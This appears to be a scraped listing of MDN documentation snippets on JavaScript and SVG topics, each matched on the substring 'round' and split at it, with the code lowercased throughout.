aluate to false in a boolean context—if your array consists only of dom nodes, for example—you can use a more efficient idiom: let divs = document.getelementsbytagname('div') for (let i = 0, div; div = divs[i]; i++) { /* process div in some way */ } this avoids the overhead of checking the length of the array, and ensures that the div variable is reassigned to the current item each time a
round the loop for added convenience.
Character classes - JavaScript
the "basic multilingual plane" of unicode contains most of the characters used a
round the world and we can use character classes and ranges to match words written with those characters.
Regular expressions - JavaScript
using parentheses parentheses a
round any part of the regular expression pattern causes that part of the matched substring to be remembered.
Text formatting - JavaScript
'\u{2f804}' // the same with simple unicode escapes '\ud87e\udc04' string objects the string object is a wrapper a
round the string primitive data type.
Memory Management - JavaScript
var o = { a: 1, b: null }; // allocates memory for an object and contained values // (like object) allocates memory for the array and // contained values var a = [1, null, 'abra']; function f(a) { return a + 2; } // allocates a function (which is a callable object) // function expressions also allocate an object someelement.addeventlistener('click', function() { someelement.style.backg
roundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation.
Warning: JavaScript 1.6's for-each-in loops are deprecated - JavaScript
deprecated syntax function func(array) { for each (var x in array) { console.log(x); } } func([10, 20]); // 10 // 20 func(null); // prints nothing func(undefined); // prints nothing alternative standard syntax to rewrite for each...in statements so that values can be null or undefined with for...of as well, you need to guard a
round for...of.
Object - JavaScript
return current.apply(this, arguments); } } since javascript doesn't exactly have sub-class objects, prototype is a useful worka
round to make a “base class” object of certain functions that act as objects.
String.fromCodePoint() - JavaScript
se the code below for a polyfill: if (!string.fromcodepoint) (function(stringfromcharcode) { var fromcodepoint = function(_) { var codeunits = [], codelen = 0, result = ""; for (var index=0, len = arguments.length; index !== len; ++index) { var codepoint = +arguments[index]; // correctly handles all cases including `nan`, `-infinity`, `+infinity` // the sur
rounding `!(...)` is required to correctly handle `nan` cases // the (codepoint>>>0) === codepoint clause handles decimals and negatives if (!(codepoint < 0x10ffff && (codepoint>>>0) === codepoint)) throw rangeerror("invalid code point: " + codepoint); if (codepoint <= 0xffff) { // bmp code point codelen = codeunits.push(codepoint); } else { // astral...
Symbol() constructor - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects a
round primitive data types is generally possible (for example, new boolean, new string and new number).
Symbol - JavaScript
it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects a
round primitive data types is generally possible (for example, new boolean, new string and new number).
TypedArray.from() - JavaScript
polyfill you can partially work a
round this by inserting the following code at the beginning of your scripts, allowing use of much of the functionality of from() in implementations that do not natively support it.
eval() - JavaScript
eval(new string('2 + 2')); // returns a string object containing "2 + 2" eval('2 + 2'); // returns 4 you can work a
round this limitation in a generic fashion by using tostring().
globalThis - JavaScript
html and the windowproxy in many engines globalthis will be a reference to the actual global object, but in web browsers, due to iframe and cross-window security considerations, it references a proxy a
round the actual global object (which you can't directly access).
Grouping operator ( ) - JavaScript
syntax ( ) description the grouping operator consists of a pair of parentheses a
round an expression or sub-expression to override the normal operator precedence so that expressions with lower precedence can be evaluated before an expression with higher priority.
Operator precedence - JavaScript
g the " + name + " side"); return num; } // notice the exponentiation operator (**) console.log(echo("left", 2) ** echo("middle", 3) ** echo("right", 2)); evaluating the left side evaluating the middle side evaluating the right side 512 function echo(name, num) { console.log("evaluating the " + name + " side"); return num; } // notice the parentheses a
round the left and middle exponentiation console.log((echo("left", 2) ** echo("middle", 3)) ** echo("right", 2)); evaluating the left side evaluating the middle side evaluating the right side 64 looking at the code snippets above, 6 / 3 / 2 is the same as (6 / 3) / 2 because division is left-associative.
this - JavaScript
// when called as a listener, turns the related element blue function bluify(e) { // always true console.log(this === e.currenttarget); // true when currenttarget and target are the same object console.log(this === e.target); this.style.backg
roundcolor = '#a5d9f3'; } // get a list of every element in the document var elements = document.getelementsbytagname('*'); // add bluify as a click listener so when the // element is clicked on, it turns blue for (var i = 0; i < elements.length; i++) { elements[i].addeventlistener('click', bluify, false); } in an inline event handler when the code is called from an inline on-event handler, its t...
void operator - JavaScript
for example: <a href="javascript:void(0);"> click here to do nothing </a> <a href="javascript:void(document.body.style.backg
roundcolor='green');"> click here for green backg
round </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers.
if...else - JavaScript
for example, do not use the following code: if (x = y) { /* do something */ } if you need to use an assignment in a conditional expression, a common practice is to put additional parentheses a
round the assignment.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
self.addeventlistener('install', (e) => { e.waituntil( caches.open('js13kpwa-v2').then((cache) => { return cache.addall(contenttocache); }) ); }); a new service worker is installed in the backg
round, and the previous one (v1) works correctly up until there are no pages using it — the new service worker is then activated and takes over management of the page from the old one.
name - SVG: Scalable Vector Graphics
unlike the syntax allowed between the parentheses of the local(…) clause in an @font-face rule src descriptor, the font name specified in this attribute is not sur
rounded in single or double quotes.
opacity - SVG: Scalable Vector Graphics
the opacity attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the backg
round behind the element is overlaid.
paint-order - SVG: Scalable Vector Graphics
example <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <lineargradient id="g" x1="0" y1="0" x2="0" y2="1"> <stop stop-color="#888"/> <stop stop-color="#ccc" offset="1"/> </lineargradient> <rect width="400" height="200" fill="url(#g)"/> <g fill="crimson" stroke="white" stroke-width="6" stroke-linejoin="
round" text-anchor="middle" font-family="sans-serif" font-size="50px" font-weight="bold"> <text x="200" y="75">stroke over</text> <text x="200" y="150" paint-order="stroke" id="stroke-under">stroke under</text> </g> </svg> the example would be rendered as follows: the stroke under effect could be achieved via the following css property: #stroke-under { paint-order: stroke; } spec...
pointer-events - SVG: Scalable Vector Graphics
the rect underneath will change color whether you are clicking on the circle or the rect itself --> <rect x="10" y="0" height="10" width="10" fill="black" /> <circle cx="15" cy="5" r="4" fill="white" pointer-events="none" /> </svg> window.addeventlistener('mouseup', (e) => { // let's pick a random color between #000000 and #ffffff const color = math.
round(math.random() * 0xffffff) // let's format the color to fit css requirements const fill = '#' + color.tostring(16).padstart(6,'0') // let's apply our color in the // element we actually clicked on e.target.style.fill = fill }) as a presentation attribute, it can be applied to any element but it is mostly relevant only on the following twenty-three elements: <a>, <circle>, <clippath...
preserveAspectRatio - SVG: Scalable Vector Graphics
spectratio="xmaxymid slice" x="150" y="0"> <use href="#smiley" /> </svg> <!-- none --> <rect x="0" y="30" width="160" height="60"> <title>none</title> </rect> <svg viewbox="0 0 100 100" width="160" height="60" preserveaspectratio="none" x="0" y="30"> <use href="#smiley" /> </svg> </svg> path { fill: yellow; stroke: black; stroke-width: 8px; stroke-linecap:
round; stroke-linejoin:
round; pointer-events: none; } rect:hover, rect:active { outline: 1px solid red; } syntax preserveaspectratio="<align> [<meetorslice>]" its value is made of one or two keywords: a required alignment value and an optional "meet or slice" reference as described below: alignment value the alignment value indicates whether to force uniform scaling and, if so, the al...
requiredFeatures - SVG: Scalable Vector Graphics
http://www.w3.org/tr/svg11/feature#containerattribute the browser supports the enable-backg
round attribute http://www.w3.org/tr/svg11/feature#conditionalprocessing the browser supports the <switch> element, and the requiredfeatures, requiredextensions, systemlanguage attributes http://www.w3.org/tr/svg11/feature#image the browser supports the <image> element.
transform - SVG: Scalable Vector Graphics
example html,body,svg { height:100% } <svg viewbox="-12 -2 34 14" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="10" height="10" /> <!-- rotation is done a
round the point 0,0 --> <rect x="0" y="0" width="10" height="10" fill="red" transform="rotate(100)" /> <!-- rotation is done a
round the point 10,10 --> <rect x="0" y="0" width="10" height="10" fill="green" transform="rotate(100,10,10)" /> </svg> skewx the skewx(<a>) transform function specifies a skew transformation along the x axis by a degrees.
<script> - SVG: Scalable Vector Graphics
ement, it has some discrepancies, like it uses the href attribute instead of src and it doesn't support ecmascript modules so far (see browser compatibility below for details) html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <script> // <![cdata[ window.addeventlistener('domcontentloaded', () => { function getcolor () { const r = math.
round(math.random() * 255).tostring(16).padstart(2,'0') const g = math.
round(math.random() * 255).tostring(16).padstart(2,'0') const b = math.
round(math.random() * 255).tostring(16).padstart(2,'0') return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="...
<set> - SVG: Scalable Vector Graphics
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .
round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="
round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation.
Linking - SVG: Scalable Vector Graphics
to get a
round this, requires a little ugly javascript hacking: button.svg: <?xml version="1.1" encoding="utf-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <g onclick="top.document.href='page2.html'" cursor="pointer"> <!-- button graphical elements here --> </g> </svg> example for an example of this solution at work see www.codedread.com.
Example - SVG: Scalable Vector Graphics
rage (x,y) of the swarm function averagemoteposition() { if( !motes ) return [0,0]; if( motes.length == 0 ) return [0,0]; var i; var sum_x=0, sum_y=0; for(i=0; i<motes.length; i++) { sum_x += motes[i].x; sum_y += motes[i].y; } return [sum_x/motes.length, sum_y/motes.length]; } // a nicer, integer random function rand(modulo) { return math.
round( math.random() * (modulo-1)); } // class mote function mote() { // dimensions of drawing area.